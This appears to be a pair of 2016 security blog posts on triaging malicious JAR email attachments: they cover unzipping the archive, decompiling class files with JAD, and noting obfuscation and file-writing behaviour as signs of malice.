To complete the circle again we notice that the ue constructor that we mentioned just earlier is again called in the BEER class, so the main function that starts the execution. So this main function in the BEER class is going to for certain write files to disk and call methods from with java code. Add that on top of all the obfuscation and you can say pretty confidently before even sandboxing this, that it's probably malicious in nature, especially since it arrived in an email about an Invoice!

I hope this helped get you a layer deeper into analyzing malicious email attachments and in particular ones that contain JAR and java code files.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Analyzing a Java JAR file

So you got a malicious email attachment that is a JAR file. You want to analyze it. First, a jar file is simply a zipped file, so use your favorite unzipping tool like 7zip or WinZip and extract the file. You'll find a bunch of java .class files which are simply java compiled code. To view and analyze that code, download a Java Decompiler like JAD. Then extract like below, and now you have a bunch of .java (Java code files) to analyze. You'll need to put on your programming skills as well as get past all the obfuscation techniques that the attacker put in place to make his code unreadable, but it's a start!

jad.exe -o -dtest -sjava *.class

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.